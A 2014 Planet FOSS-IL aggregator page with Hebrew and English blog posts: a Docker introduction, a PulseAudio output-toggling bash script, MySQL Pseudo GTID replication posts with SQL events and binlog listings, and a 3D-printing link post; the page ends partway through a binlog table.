פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

24 אוקטובר, 2014

Oz Nahum

salt quick tip - changing passwords on multiple clusters

Using salt stack to manage your own private cloud on clusters can ease your life. Here is how you can allow users to update their passwords on multiple Linux hosts. ... continue reading...

24 אוקטובר, 2014 06:15 PM

Ilan Shavit

Docker – חלק ראשון

Docker הוא מוצר שכובש לאחרונה את סביבות השרתים ומערכות הענן השונות. אז מהו Docker ובמה הוא שונה מתחום ה- VM?

container_vs_vm

אסביר את האיור:

VM ‏ (Virtual Machine)

בצד שמאל מופיע תרשים של מערכת וירטואליזציה (VM) אופיינית: בשכבה התחתונה השרת עצמו ("הברזל"), בשכבה מעל רצה מערכת ההפעלה של מוצר הוירטואליזציה, שכבת ה- Hypervisor היא שכבה המדמה קושחה ומאפשרת בניה והרצה של מערכות הפעלה וירטואליות מעליה. שלוש שכבות אלו הן התשתית של מערכת ה- VM. מעל תשתית זאת ניתן להתקין מערכות הפעלה שונות (כל גרסה של חלונות, לינוקס ועוד…)

כל מערכת הפעלה כזאת מושגת ע"י התקנה מלאה שלה (ולכן, אם מדובר בלינוקס, תכיל ספריות bin/ ו- lib/ השייכים לה). בכל אחת ממערכות ההפעלה מתקינים את האפליקציה היעודית לה (השכבה העליונה). כפי שניתן להבין, במערך וירטואליזציה זה יש תקורה רבה של משאבים בשל העובדה שצריך להתקין מערכת הפעלה שלמה עבור כל אחת מהאפליקציות.

Docker:

נתבונן עכשיו בחלק הימני של השרטוט. השכבה התחתונה זהה ("הברזל"), בשכבה מעליה רצה מערכת ההפעלה שתריץ את שירות ה- Docker, מעליה מותקן מנוע לטיפול ב- "מיכלים" (Containers). שלוש שכבות אלו מהוות את תשתית המוצר.

בפתרון זה כל אפליקציה תרוץ במיכל יעודי משלה: יהיו שלושה מיכלים שיריצו כל אחד (באופן עצמאי ומבודד) בסיס נתונים, ועוד שלושה מיכלים שיריצו אפליקציות (כל אפליקציה במיכל מבודד משלה). בפתרון זה (להבדיל מפתרון הוירטואליזציה) אין צורך בהתקנה של מערכת הפעלה שלמה (על תקורותיה) בשביל להריץ בה את האפליקציה: יש מערכת הפעלה אחת (משותפת לכל המיכלים) קרנל אחד וכל אפליקציה תרוץ במיכל היעודי לה. חשוב להבין שהמיכלים עובדים מול הקרנל של מערכת ההפעלה הראשית של Docker. כלומר, גם אם אתה מריץ במיכל אחד Image של CentOS 6.5, במיכל שני Image של דביאן Wheezy, כל מיכל אכן יכיל ספריות usr/ ו- lib/ היעודיות למערכות הפעלה זאת, אך שניהם "יראו" את הקרנל של מוצר ה- Docker (נניח Ubuntu 14.04).

אז היתרון של Docker מובן: אתה "מתפטר" מ- 99.9% תקורה (זכרון, מעבד, דיסק ועוד…) הנובעים מהצורך להתקין ולהריץ מערכת הפעלה שלמה עבור האפליקציה שלך. בדיקות שונות העלו שעל אותה החומרה ניתן להתקין פי 4-6 אפליקציות מאשר יכולת להתקין בסביבת VM.

אסכם את היתרונות של Docker: הוא מאפשר להריץ יותר אפליקציות על אותה החומרה, הוא מאפשר למפתחים לארוז ולהפיץ את התוכנה שלהם בצורה ניידת (Portable) במהירות ובקלות, הוא מאפשר פריסה וניהול ישומים בצורה קלה (כשהישומים רצים בסביבה מבודדת), הוא קל מאוד לאימוץ והפצה, קיימת סטנדרניזציה לגבי מבנה ה- Image.

הדוגמא הבאה ממחישה את יכולות Docker: אתה יכול לטעון Image של מערכת הפעלה (המערכת תקבל IP בצורה אוטומטית), להריץ בה פקודה מסויימת, לאחריה לבצע Snapshot ל- Container ואז לסגור אותו, וכל זה בצורה אוטומטית לחלוטין!

באתר הבית של התוכנה סיכמו את יכולותיה כך: Build, Ship and Run Any App, Anywhere

docker_logo

הלוגו של Docker: הישומים מובלים במיכלים במהירות ובביטחה ליעדם

 

רעיון חדש וגאוני? לא כ"כ… המונח מיכל (Container) הוא מושג ותיק. כבר בשנת 2000 נעשה בו שימוש ב- FreeBSD. גם ב- Solaris המושג היה קיים ונקרא Zones, אבל הסטנדרטיזציה של ה- Containers, היכולת לבצע Snapshot, לחזור אחורה (לבטל פעולות שנעשו ב- Container) כל זה הופך את Docker למוצר מאוד מבטיח.

בצד השלילי אומר ש- Docker הוא מוצר חדש יחסית (ולכן אני לא מעריך שבתקופה הקרובה הבנקים יטמיעו אותו במערכות הליבה שלהם).  אני מעריך שצריך לשפר עוד את נושא אבטחת המידע, לא ניתן להריץ ישומי חלונות וישומי לינוקס תחת אותו הברזל (כפי שניתן לעשות ב- VM), אבל כאמור לתפקיד המיועד לו Docker נושא הבטחה גדולה!

בחלק הבא: התנסות מעשית עם Docker

My Signature

24 אוקטובר, 2014 11:00 AM

23 אוקטובר, 2014

Rabin Yasharzadeh

PulseAudio: Toggle last application output between 2 devices

With PulseAudio one can choose the output (in PA syntax, it’s called “sink-input”) device for each audio stream, for example, I can listen to my music on my headphone (USB sound card in my case) and play a movie for my kid on the external speakers. There is a GUI application called “pavucontrol” which allow you to this by point and click, but now days I found myself doing this switch too often, so I was looking for a quick shortcut, and so this is my quick and ugly hack, which I hope will benefit someone else as well.

Toggle Output – The GUI way

pavucontrol GUI

pavucontrol GUI

Toggle the output – Script

#!/bin/bash

CARDS=$(pacmd list-cards | grep -e index: -e alsa.card_name  | xargs -n5 | awk '{print $2}')
if [[ ${#CARDS} != 3 ]];  # there is a space 
then
    echo "This script works only with 2 outputs, and you have ..."
    pacmd list-cards | grep -e index: -e alsa.card_name  | xargs -n5 
    exit
fi

i=1
for card_index in $CARDS ; 
do 
    eval CARD$i=$card_index 
    let i+=1
        
done

LAST_SINK_LINE=$(pacmd list-sink-inputs | grep -e index: -e sink: | xargs -n5 | tail -n1)
last_sink_app_index=$( echo $LAST_SINK_LINE | awk '{print $2}' )
last_sink_out_index=$( echo $LAST_SINK_LINE | awk '{print $4}' )
[[ ${last_sink_out_index} == ${CARD1} ]] && new_sink_out=$CARD2 || new_sink_out=$CARD1

#echo "$last_sink_app_index > $last_sink_out_index > ${new_sink_out}"

pacmd move-sink-input ${last_sink_app_index} ${new_sink_out}

Now one just need to assign a shortcut key for this script, and it’s done.

23 אוקטובר, 2014 11:14 PM

Shlomi Noach

Refactoring replication topology with Pseudo GTID

This post describes in detail the method of using Pseudo GTID to achieve unplanned replication topology changes, i.e. connecting two arbitrary slaves, or recovering from a master failure even as all its slaves are hanging in different positions.

Please read Pseudo GTID and Pseudo GTID, RBR as introduction.

Consider the following case: the master dies unexpectedly, and its three slaves are all hanging, not necessarily at same binary log file/position (network broke down while some slaves managed to salvage more entries into their relay logs than others)

orchestrator-failed-master

(Did you notice the "Candidate for master" message? To be discussed shortly)

GTID

With GTID each transaction (and entry in the binary log) is associated with a unique mark -- the Global Transaction ID. Just pick the slave with the most advanced GTID to be the next master, and just CHANGE MASTER TO MASTER_HOST='chosen_slave' on the other slaves, and everything magically works. A slave knows which GTID it has already processed, and can look that entry on its master's binary logs, resuming replication on the one that follows.

How does that work? The master's binary logs are searched for that GTID entry. I'm not sure how brute-force this is, since I'm aware of a subtlety which requires brute-force scan of all binary logs; I don't actually know if it's always like that.

Pseudo GTID

We can mimick that above, but our solution can't be as fine grained. With the injection of Pseudo GTID we mark the binary log for unique entries. But instead of having a unique identifier for every entry, we have a unique identifier for every second, 10 seconds, or what have you, with otherwise normal, non-unique entries in between our Pseudo GTID entries.

Recognizing which slave is more up to date

Given two slaves, which is more up to date?

For now, let's assume we know which slave is more up to date (has received and executed more relay logs). Let's call it S1, whereas the less up-to-date will be S2. This will make our discussion simpler.

Prerequisites

The process of rematching slaves

S1 is more up to date, hence we want to make S2 a slave of S1. We expect the statements/entries found in S2's binary logs to exist in S1, in the same order, but somewhere back in the past, padded by additional entries (zero or more) that are not found in S2. Steps are:

That last bullet is of importance: if you have two slaves whose "family connection" is complex, you can still match one below the other; you may try one way and fail, then try the other way around and succeed.

Comparison of the events following the Pseudo-GTID is a good way of sanity checking (some meta-stuff should be ignored, like transaction IDs, table IDs, these can vary across servers), and builds up confidence in the correctness of the operation.

The codebase is actually complete and pushed; I'll release a BETA version or orchestrator next week, that supports Pseudo GTID. Let me tell you, doing this kind of crazy stuff with visual feedback (of course command line is available) is very very cool.

 

 

23 אוקטובר, 2014 10:37 AM

Pseudo GTID, Row Based Replication

This post continues Pseudo GTID, in a series of posts describing an alternative to using MySQL GTIDs.

The solution offered in the last post does not work too well for row based replication. The binary log entries for the INSERT statement look like this:

# at 1020
# at 1074
#141020 12:36:21 server id 1  end_log_pos 1074  Table_map: `test`.`pseudo_gtid` mapped to number 33
#141020 12:36:21 server id 1  end_log_pos 1196  Update_rows: table id 33 flags: STMT_END_F

BINLOG '
lddEVBMBAAAANgAAADIEAAAAACEAAAAAAAEABHRlc3QAC3BzZXVkb19ndGlkAAMDBw8CQAAE
lddEVBgBAAAAegAAAKwEAAAAACEAAAAAAAEAA///+AEAAACL10RUJDg2ZmRhMDk1LTU4M2MtMTFl
NC05NzYyLTNjOTcwZWEzMWVhOPgBAAAAlddEVCQ4Y2YzOWMyYy01ODNjLTExZTQtOTc2Mi0zYzk3
MGVhMzFlYTg=
'/*!*/;

Where's our unique value? Encoded within something that cannot be trusted to be unique. Issuing mysqlbinlog --verbose helps out:

BEGIN
/*!*/;
# at 183
# at 237
#141020 12:35:51 server id 1  end_log_pos 237   Table_map: `test`.`pseudo_gtid` mapped to number 33
#141020 12:35:51 server id 1  end_log_pos 359   Update_rows: table id 33 flags: STMT_END_F

BINLOG '
d9dEVBMBAAAANgAAAO0AAAAAACEAAAAAAAEABHRlc3QAC3BzZXVkb19ndGlkAAMDBw8CQAAE
d9dEVBgBAAAAegAAAGcBAAAAACEAAAAAAAEAA///+AEAAABt10RUJDc1MWJkYzEwLTU4M2MtMTFl
NC05NzYyLTNjOTcwZWEzMWVhOPgBAAAAd9dEVCQ3YjExZDQzYy01ODNjLTExZTQtOTc2Mi0zYzk3
MGVhMzFlYTg=
'/*!*/;
### UPDATE `test`.`pseudo_gtid`
### WHERE
###   @1=1
###   @2=1413797741
###   @3='751bdc10-583c-11e4-9762-3c970ea31ea8'
### SET
###   @1=1
###   @2=1413797751
###   @3='7b11d43c-583c-11e4-9762-3c970ea31ea8'

and that's something we can work with. However, I like to do stuff from within MySQL, and rely as little as possible on external tools. How do the binary log entries look via SHOW BINLOG EVENTS? Not good.

master [localhost] {msandbox} (test) > show binlog events in 'mysql-bin.000058' limit 20;
+------------------+------+-------------+-----------+-------------+---------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                  |
+------------------+------+-------------+-----------+-------------+---------------------------------------+
| mysql-bin.000058 |    4 | Format_desc |         1 |         107 | Server ver: 5.5.32-log, Binlog ver: 4 |
| mysql-bin.000058 |  107 | Query       |         1 |         183 | BEGIN                                 |
| mysql-bin.000058 |  183 | Table_map   |         1 |         237 | table_id: 33 (test.pseudo_gtid)       |
| mysql-bin.000058 |  237 | Update_rows |         1 |         359 | table_id: 33 flags: STMT_END_F        |
| mysql-bin.000058 |  359 | Xid         |         1 |         386 | COMMIT /* xid=5460 */                 |
| mysql-bin.000058 |  386 | Query       |         1 |         462 | BEGIN                                 |
| mysql-bin.000058 |  462 | Table_map   |         1 |         516 | table_id: 33 (test.pseudo_gtid)       |
| mysql-bin.000058 |  516 | Update_rows |         1 |         638 | table_id: 33 flags: STMT_END_F        |
| mysql-bin.000058 |  638 | Xid         |         1 |         665 | COMMIT /* xid=5471 */                 |
| mysql-bin.000058 |  665 | Query       |         1 |         741 | BEGIN                                 |
| mysql-bin.000058 |  741 | Table_map   |         1 |         795 | table_id: 33 (test.pseudo_gtid)       |
| mysql-bin.000058 |  795 | Update_rows |         1 |         917 | table_id: 33 flags: STMT_END_F        |
| mysql-bin.000058 |  917 | Xid         |         1 |         944 | COMMIT /* xid=5474 */                 |
| mysql-bin.000058 |  944 | Query       |         1 |        1020 | BEGIN                                 |
| mysql-bin.000058 | 1020 | Table_map   |         1 |        1074 | table_id: 33 (test.pseudo_gtid)       |
| mysql-bin.000058 | 1074 | Update_rows |         1 |        1196 | table_id: 33 flags: STMT_END_F        |
| mysql-bin.000058 | 1196 | Xid         |         1 |        1223 | COMMIT /* xid=5476 */                 |
| mysql-bin.000058 | 1223 | Query       |         1 |        1299 | BEGIN                                 |
| mysql-bin.000058 | 1299 | Table_map   |         1 |        1353 | table_id: 33 (test.pseudo_gtid)       |
| mysql-bin.000058 | 1353 | Update_rows |         1 |        1475 | table_id: 33 flags: STMT_END_F        |
+------------------+------+-------------+-----------+-------------+---------------------------------------+

The representation of row-format entries in the SHOW BINLOG EVENTS output is really poor. Why, there's nothing to tell me at all about what's been done, except that this is some operation on test.pseudo_gtid. Obviously I cannot find anything unique over here.

Not all is lost. How about DDL statements? Those are still written in SBR format (there's no rows to log upon creating a table). A solution could be somehow manipulating a unique value in a DDL statement. There could be various such solutions, and I chose to use a CREATE VIEW statement, dynamically composed of a UUID():

drop event if exists test.update_pseudo_gtid_rbr_event;

delimiter ;;
create event if not exists
  test.update_pseudo_gtid_rbr_event
  on schedule every 10 second starts current_timestamp
  on completion preserve
  enable
  do
    begin
      set @pseudo_gtid := uuid();
      set @_create_statement := concat('create or replace view test.pseudo_gtid_v as select \'', @pseudo_gtid, '\' from dual');
      PREPARE st FROM @_create_statement;
      EXECUTE st;
      DEALLOCATE PREPARE st;    
    end
;;

delimiter ;

And this is how it looks on runtime (running this new event along with the old one):

master [localhost] {msandbox} (test) > show binlog events in 'mysql-bin.000060' limit 20;
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                                                                                                                                                                  |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000060 |    4 | Format_desc |         1 |         107 | Server ver: 5.5.32-log, Binlog ver: 4                                                                                                                                                 |
| mysql-bin.000060 |  107 | Query       |         1 |         183 | BEGIN                                                                                                                                                                                 |
| mysql-bin.000060 |  183 | Table_map   |         1 |         237 | table_id: 33 (test.pseudo_gtid)                                                                                                                                                       |
| mysql-bin.000060 |  237 | Update_rows |         1 |         359 | table_id: 33 flags: STMT_END_F                                                                                                                                                        |
| mysql-bin.000060 |  359 | Xid         |         1 |         386 | COMMIT /* xid=5802 */                                                                                                                                                                 |
| mysql-bin.000060 |  386 | Query       |         1 |         638 | use `test`; CREATE OR REPLACE ALGORITHM=UNDEFINED DEFINER=`msandbox`@`localhost` SQL SECURITY DEFINER VIEW `pseudo_gtid_v` AS select '7d2d44ca-583e-11e4-9762-3c970ea31ea8' from dual |
| mysql-bin.000060 |  638 | Query       |         1 |         714 | BEGIN                                                                                                                                                                                 |
| mysql-bin.000060 |  714 | Table_map   |         1 |         768 | table_id: 33 (test.pseudo_gtid)                                                                                                                                                       |
| mysql-bin.000060 |  768 | Update_rows |         1 |         890 | table_id: 33 flags: STMT_END_F                                                                                                                                                        |
| mysql-bin.000060 |  890 | Xid         |         1 |         917 | COMMIT /* xid=5811 */                                                                                                                                                                 |
| mysql-bin.000060 |  917 | Query       |         1 |        1169 | use `test`; CREATE OR REPLACE ALGORITHM=UNDEFINED DEFINER=`msandbox`@`localhost` SQL SECURITY DEFINER VIEW `pseudo_gtid_v` AS select '83234b13-583e-11e4-9762-3c970ea31ea8' from dual |
| mysql-bin.000060 | 1169 | Query       |         1 |        1245 | BEGIN                                                                                                                                                                                 |
| mysql-bin.000060 | 1245 | Table_map   |         1 |        1299 | table_id: 33 (test.pseudo_gtid)                                                                                                                                                       |
| mysql-bin.000060 | 1299 | Update_rows |         1 |        1421 | table_id: 33 flags: STMT_END_F                                                                                                                                                        |
| mysql-bin.000060 | 1421 | Xid         |         1 |        1448 | COMMIT /* xid=5819 */                                                                                                                                                                 |
| mysql-bin.000060 | 1448 | Query       |         1 |        1700 | use `test`; CREATE OR REPLACE ALGORITHM=UNDEFINED DEFINER=`msandbox`@`localhost` SQL SECURITY DEFINER VIEW `pseudo_gtid_v` AS select '89193a09-583e-11e4-9762-3c970ea31ea8' from dual |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Scroll to the right to find the unique value injected into the view's creation statement.

Does it replicate well? Looking at a slave's binary logs:

slave3 [localhost] {msandbox} ((none)) > show binlog events in 'mysql-bin.000064';
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                                                                                                                                                                  |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000064 |    4 | Format_desc |       103 |         107 | Server ver: 5.5.32-log, Binlog ver: 4                                                                                                                                                 |
| mysql-bin.000064 |  107 | Query       |         1 |         166 | BEGIN                                                                                                                                                                                 |
| mysql-bin.000064 |  166 | Table_map   |         1 |         220 | table_id: 33 (test.pseudo_gtid)                                                                                                                                                       |
| mysql-bin.000064 |  220 | Update_rows |         1 |         342 | table_id: 33 flags: STMT_END_F                                                                                                                                                        |
| mysql-bin.000064 |  342 | Xid         |         1 |         369 | COMMIT /* xid=3184 */                                                                                                                                                                 |
| mysql-bin.000064 |  369 | Query       |         1 |         601 | use `test`; CREATE OR REPLACE ALGORITHM=UNDEFINED DEFINER=`msandbox`@`localhost` SQL SECURITY DEFINER VIEW `pseudo_gtid_v` AS select '7d2d44ca-583e-11e4-9762-3c970ea31ea8' from dual |
| mysql-bin.000064 |  601 | Query       |         1 |         660 | BEGIN                                                                                                                                                                                 |
| mysql-bin.000064 |  660 | Table_map   |         1 |         714 | table_id: 33 (test.pseudo_gtid)                                                                                                                                                       |
| mysql-bin.000064 |  714 | Update_rows |         1 |         836 | table_id: 33 flags: STMT_END_F                                                                                                                                                        |
| mysql-bin.000064 |  836 | Xid         |         1 |         863 | COMMIT /* xid=3194 */                                                                                                                                                                 |
| mysql-bin.000064 |  863 | Query       |         1 |        1095 | use `test`; CREATE OR REPLACE ALGORITHM=UNDEFINED DEFINER=`msandbox`@`localhost` SQL SECURITY DEFINER VIEW `pseudo_gtid_v` AS select '83234b13-583e-11e4-9762-3c970ea31ea8' from dual |
| mysql-bin.000064 | 1095 | Query       |         1 |        1154 | BEGIN                                                                                                                                                                                 |
| mysql-bin.000064 | 1154 | Table_map   |         1 |        1208 | table_id: 33 (test.pseudo_gtid)                                                                                                                                                       |
| mysql-bin.000064 | 1208 | Update_rows |         1 |        1330 | table_id: 33 flags: STMT_END_F                                                                                                                                                        |
| mysql-bin.000064 | 1330 | Xid         |         1 |        1357 | COMMIT /* xid=3198 */                                                                                                                                                                 |
| mysql-bin.000064 | 1357 | Query       |         1 |        1589 | use `test`; CREATE OR REPLACE ALGORITHM=UNDEFINED DEFINER=`msandbox`@`localhost` SQL SECURITY DEFINER VIEW `pseudo_gtid_v` AS select '89193a09-583e-11e4-9762-3c970ea31ea8' from dual |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Not as pretty; I hate DDL operations that are not strictly required; but this solves the problem, plus rewriting the view means we're not littering the tablespace.

Next post will describe the steps towards achieving GTID-like behaviour based on the above.

 

23 אוקטובר, 2014 04:18 AM

Yaniv Gershoni

אשכול קישורים בנושא תלת מימד והדפסות

אשכול הקישורים הגדול

טוב, זה לא קשור ב-100% לבלנדר אבל זו "צומת גדולה" שאני חוזר אליה במהלך המסעות אז נראה לי שכדאי לשים לזה מקום קבוע שיאפשר גם עדכונים כשצריך.

ובכן, למי שלא שם לב, מתפתח לו "תחום" שקשור לתלת מימד והוא: "הדפסה תלת מימדית".
למעשה, ההדפסה בתלת מימד היתה קיימת די הרבה זמן אך העלויות היו גבוהות ורוב הציבור בעצם לא יכל להשתמש בטכנולוגיה הזו ולכן גם לא נחשף אליה כל כך.
עם הזמן ובעיקר בזכות פרוייקט Reprap האפשרות להשתמש בטכנולוגיה של ההדפסה התלת מימדית הפך לנגיש יותר ואפשר כבר היום לקנות מדפסות לבית ולעסק ואפילו לבנות כאלו במחירים סבירים.

בפוסט הזה לא אסביר על הטכנולוגיה וכו' (אולי בהמשך) אלא רק אשים קישורים לכל מה שקשור לנושא ועוד קצת תבלינים...
(דוכן לתירס על הצומת נקרא לזה)
פרטים נוספים »

הטקסט המלא

23 אוקטובר, 2014 03:30 AM

22 אוקטובר, 2014

Shlomi Noach

Pseudo GTID

Pseudo GTID is a method to implement a GTID-like solution where slaves are easily connected to one another. This blog post and the following ones will describe work in progress (some 80% completed), where simulation of GTID makes for a good enough basis for refactoring replication topologies. I'm coding this in orchestrator, which already provides a substantial infrastructure support for this.

The final goal: orchestrator will allow you to move a slave below another, using only the data available by those two slaves. The usage is obvious:

This can all happen with your normal, non GTID, MySQL replication, using your normal binary log files & positions.

This work in progress is inspired by Sam Lambert at GitHub, who has worked on a similar solution with different implementation. I also recall discussions with other DBAs having similar solution.

Pseudo GTID

First thing's first, the basis for proposed solution is a pseudo-GTID. A unique entry in the binary logs (not necessarily sequential; not necessarily in ascending order). While in GTID implementations we have a unique identifier for each entry in the binary log, with pseudo-GTID we accept an occasional (or frequent) unique entry in the binary log.

There are many ways to do so. Certainly a client can generate a unique Id and invoke some statement on MySQL involving that ID. That would serve as valid grounds for the proposed solution. But I like things to be contained within MySQL. Consider, for example, the following event, which would be my preferred choice in Statement Based Replication (for RBR solution, see next post):

drop table if exists test.pseudo_gtid;
create table if not exists test.pseudo_gtid (
  id int unsigned not null primary key,
  ts timestamp,
  gtid varchar(64) charset ascii
);


drop event if exists test.update_pseudo_gtid_event;

delimiter ;;
create event if not exists
  test.update_pseudo_gtid_event
  on schedule every 10 second starts current_timestamp
  on completion preserve
  enable
  do
    begin
      set @pseudo_gtid := uuid();
      insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid);
    end
;;

delimiter ;

The above is based on Making UUID() and RAND() replication safe. What do we get? Once in 10 seconds (or what have you), a unique entry is written to the binary log.

Consider that the event is already running by now, and the next conventional statements executed by the application:

master [localhost] {msandbox} (test) > create table test.vals(id int);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (17);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (18);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (19);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (23);

master [localhost] {msandbox} (test) > show master logs;
+------------------+-----------+
| Log_name         | File_size |
+------------------+-----------+
| mysql-bin.000036 |       531 |
| mysql-bin.000037 |      1269 |
| mysql-bin.000038 |      6627 |
| mysql-bin.000039 |      3313 |
+------------------+-----------+

Let's look at the binary logs content:

master [localhost] {msandbox} (test) > show binlog events in 'mysql-bin.000039';
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                                                                                                                        |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000039 |    4 | Format_desc |         1 |         107 | Server ver: 5.5.32-log, Binlog ver: 4                                                                                                       |
| mysql-bin.000039 |  107 | Query       |         1 |         183 | BEGIN                                                                                                                                       |
| mysql-bin.000039 |  183 | User var    |         1 |         263 | @`pseudo_gtid`=_utf8 0x37383435623633382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 |  263 | Query       |         1 |         461 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 |  461 | Xid         |         1 |         488 | COMMIT /* xid=74 */                                                                                                                         |
| mysql-bin.000039 |  488 | Query       |         1 |         581 | use `test`; create table test.vals(id int)                                                                                                  |
| mysql-bin.000039 |  581 | Query       |         1 |         657 | BEGIN                                                                                                                                       |
| mysql-bin.000039 |  657 | User var    |         1 |         737 | @`pseudo_gtid`=_utf8 0x37653362616434382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 |  737 | Query       |         1 |         935 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 |  935 | Xid         |         1 |         962 | COMMIT /* xid=82 */                                                                                                                         |
| mysql-bin.000039 |  962 | Query       |         1 |        1038 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1038 | User var    |         1 |        1118 | @`pseudo_gtid`=_utf8 0x38343331396662332D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 1118 | Query       |         1 |        1316 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 1316 | Xid         |         1 |        1343 | COMMIT /* xid=84 */                                                                                                                         |
| mysql-bin.000039 | 1343 | Query       |         1 |        1411 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1411 | Query       |         1 |        1512 | use `test`; insert into test.vals (id) values (17)                                                                                          |
| mysql-bin.000039 | 1512 | Xid         |         1 |        1539 | COMMIT /* xid=84 */                                                                                                                         |
| mysql-bin.000039 | 1539 | Query       |         1 |        1607 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1607 | Query       |         1 |        1708 | use `test`; insert into test.vals (id) values (18)                                                                                          |
| mysql-bin.000039 | 1708 | Xid         |         1 |        1735 | COMMIT /* xid=85 */                                                                                                                         |
| mysql-bin.000039 | 1735 | Query       |         1 |        1803 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1803 | Query       |         1 |        1904 | use `test`; insert into test.vals (id) values (19)                                                                                          |
| mysql-bin.000039 | 1904 | Xid         |         1 |        1931 | COMMIT /* xid=86 */                                                                                                                         |
| mysql-bin.000039 | 1931 | Query       |         1 |        2007 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2007 | User var    |         1 |        2087 | @`pseudo_gtid`=_utf8 0x38613237376232352D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 2087 | Query       |         1 |        2285 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 2285 | Xid         |         1 |        2312 | COMMIT /* xid=89 */                                                                                                                         |
| mysql-bin.000039 | 2312 | Query       |         1 |        2380 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2380 | Query       |         1 |        2481 | use `test`; insert into test.vals (id) values (23)                                                                                          |
| mysql-bin.000039 | 2481 | Xid         |         1 |        2508 | COMMIT /* xid=89 */                                                                                                                         |
| mysql-bin.000039 | 2508 | Query       |         1 |        2584 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2584 | User var    |         1 |        2664 | @`pseudo_gtid`=_utf8 0x39303164373731612D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 2664 | Query       |         1 |        2862 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 2862 | Xid         |         1 |        2889 | COMMIT /* xid=92 */                                                                                                                         |
| mysql-bin.000039 | 2889 | Query       |         1 |        2965 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2965 | User var    |         1 |        3045 | @`pseudo_gtid`=_utf8 0x39363133363965382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 3045 | Query       |         1 |        3243 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 3243 | Xid         |         1 |        3270 | COMMIT /* xid=94 */                                                                                                                         |
| mysql-bin.000039 | 3270 | Rotate      |         1 |        3313 | mysql-bin.000040;pos=4                                                                                                                      |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+

Marked in bold are the pseudo-GTID statements, aptly read "@`pseudo_gtid`=_utf8 0x...", and which are the resulting entry of the set @pseudo_gtid := uuid(); statement. These are interleaved with our normal statements. In busier servers there could be hundreds or thousands of statements between any two pseudo-GTID entries.

We have a replicating slave to the above, which uses log_slave_updates. For reasons to be explained later, I prefer and require log_slave_updates, and will examine the slave's binary logs (instead of directly looking at the slave's relay logs):

slave3 [localhost] {msandbox} ((none)) > show master logs;

+------------------+-----------+
| Log_name         | File_size |
+------------------+-----------+
| mysql-bin.000046 |      1077 |
| mysql-bin.000047 |       126 |
| mysql-bin.000048 |       150 |
| mysql-bin.000049 |       150 |
| mysql-bin.000050 |     13860 |
| mysql-bin.000051 |       107 |
+------------------+-----------+

slave3 [localhost] {msandbox} ((none)) > show binlog events in 'mysql-bin.000051';
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                                                                                                                        |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000051 |    4 | Format_desc |       103 |         107 | Server ver: 5.5.32-log, Binlog ver: 4                                                                                                       |
| mysql-bin.000051 |  107 | Query       |         1 |         174 | BEGIN                                                                                                                                       |
